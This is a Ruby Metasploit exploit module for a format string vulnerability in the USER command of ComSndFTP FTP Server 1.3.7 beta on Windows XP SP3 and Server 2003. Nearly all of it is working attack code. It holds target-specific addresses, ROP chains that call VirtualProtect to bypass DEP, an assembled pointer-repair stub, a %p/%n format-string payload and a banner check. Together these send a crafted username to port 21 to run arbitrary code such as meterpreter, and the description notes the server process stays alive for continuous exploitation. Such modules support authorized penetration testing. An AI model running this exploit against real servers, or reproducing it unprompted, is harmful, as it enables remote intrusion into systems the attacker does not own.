##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',
			'Description'   => %q{
					This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially
				crafted format string specifier as a username. The crafted username is sent to to the server to
				overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
				is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
				The SEH exit function is preferred so that the administrators are not left with an unhandled
				exception message. When using the meterpreter payload, the process will never die, allowing
				for continuous exploitation.
			},
			'Author'        =>
				[
					'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc
					'rick2600 <rick2600[at]corelan.be>',               # msf module (target XP)
					'mr_me <mr_me[at]corelan.be>',                     # msf module (target 23k)
					'corelanc0d3r <peter.ve[at]corelan.be>'            # msf module
				],
			'Arch'          => [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'References'    =>
				[
					# When a DoS is NOT a DoS
					[ 'OSVDB', '82798'],
					[ 'EDB', '19024']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh'
				},
			'Platform'      => ['win'],
			'Privileged'    => false,
			'Payload'       =>
				{
					'Space'            => 1000,
					'BadChars'         => "\x00\x0a\x0d",
					'StackAdjustment'  => -3500,
					'DisableNops'      => 'True'
				},
			'Targets'       =>
				[
					[
						'Windows XP SP3 - English',
						{
							'Functionpointer'   => 0x71AC4050,  # winsock pointer
							'Functionaddress'   => 0x71AB2636,  # the repair address
							'Pivot'             => 0x00408D16,  # 0x004093AE-0x698 add esp, 72c ; retn
							'Pad' => 568
						}
					],
					[
						'Windows Server 2003 - English',
						{
							'Functionpointer'   => 0x71C14044,  # winsock pointer
							'Functionaddress'   => 0x71C02661,  # the repair address
							'Pivot'             => 0x00408D16,  # 0x004093AE-0x698 add esp, 72c ; retn
							'Pad' => 568
						}
					]
				],
			'DisclosureDate' => 'Jun 08 2012'))

		register_options(
			[
				Opt::RPORT(21),
			], self.class)
	end

	def check
		connect
		banner    = sock.get(-1,3)
		validate  = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
		validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
		validate << "\xf1\xc6\xf7\x21\x0d\x0a"
		disconnect

		if (banner == validate)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def exploit

		rop = ''
		if target.name =~ /Server 2003/
			# C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959
			rop = [
				0x77be3adb, # pop eax ; retn
				0x77ba1114, # <- *&VirtualProtect()
				0x77bbf244, # mov eax,[eax] ; pop ebp ; retn
				junk,
				0x77bb0c86, # xchg eax,esi ; retn
				0x77be3adb, # pop eax ; retn
				0xFFFFFBFF, # dwSize
				0x77BAD64D, # neg eax ; pop ebp ; retn
				junk,
				0x77BBF102, # xchg eax,ebx ; add [eax],al ; retn
				0x77bbfc02, # pop ecx ; retn
				0x77bef001, # ptr that is w+
				0x77bd8c04, # pop edi ; retn
				0x77bd8c05, # retn
				0x77be3adb, # pop eax ; retn
				0xFFFFFFC0, # flNewProtect
				0x77BAD64D, # neg eax ; pop ebp ; retn
				0x77be2265, # ptr to 'push esp ; ret'
				0x77BB8285, # xchg eax,edx ; retn
				0x77be3adb, # pop eax ; retn
				0x90909090, # nops
				0x77be6591, # pushad ; add al,0ef ; retn
			].pack("V*")

		elsif target.name =~ /XP SP3/
			# C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512
			rop = [
				0x77C21D16, # pop eax ; retn
				0x77C11120, # <- *&VirtualProtect()
				0x77C2E493, # mov eax,[eax] ; pop ebp ; retn
				junk,
				0x77C21891, # pop esi ; retn
				0x77C5D010, # ptr that is w+
				0x77C2DD6C, # xchg eax,esi ; add [eax],al; retn
				0x77C21D16, # pop eax ; retn
				0xFFFFFBFF, # dwSize
				0x77C1BE18, # neg eax ; pop ebp ; retn
				junk,
				0x77C2362C, # pop ebx ; retn
				0x77C5D010, # ptr that is w+
				0x77C2E071, # xchg eax,ebx ; add [eax],al ; retn
				0x77C1F519, # pop ecx ; retn
				0x77C5D010, # ptr that is w+
				0x77C23B47, # pop edi ; retn
				0x77C23B48, # retn
				0x77C21D16, # pop eax ; retn
				0xFFFFFFC0, # flNewProtect
				0x77C1BE18, # neg eax ; pop ebp ; retn
				0x77C35459, # ptr to 'push esp ; ret'
				0x77C58FBC, # xchg eax,edx ; retn
				0x77C21D16, # pop eax ; retn
				0x90909090, # nops
				0x77C567F0, # pushad ; add al,0ef ; retn
			].pack("V*")
		end

		stage1 = %Q{
			mov eax, #{target['Functionpointer']}
			mov ecx, #{target['Functionaddress']}
			mov [eax], ecx
		}

		offset_wp = rand_text_alphanumeric(1)
		pivot     = target['Pivot']
		offset    = target['Pad'] + rop.length + stage1.length + payload.encoded.length

		attackstring  = rand_text_alphanumeric(7)
		attackstring << [target['Functionpointer']].pack('V')
		attackstring << "%#{pivot}x"                          # special pointer to our pivot
		attackstring << "%p" * 208 + "#{offset_wp }%n"        # format specifiers to read and write the function pointer
		attackstring << rand_text_alphanumeric(target['Pad'])
		attackstring << rop
		attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string
		attackstring << payload.encoded
		attackstring << rand_text_alphanumeric(2000 - offset)
		attackstring << "\r\n"

		sploit = "USER #{attackstring}\r\n"

		print_status("Triggering overflow...")
		connect
		sock.get_once(1024)
		sock.put(sploit)
		select(nil, nil, nil, 2)
		handler
		disconnect

	end

end
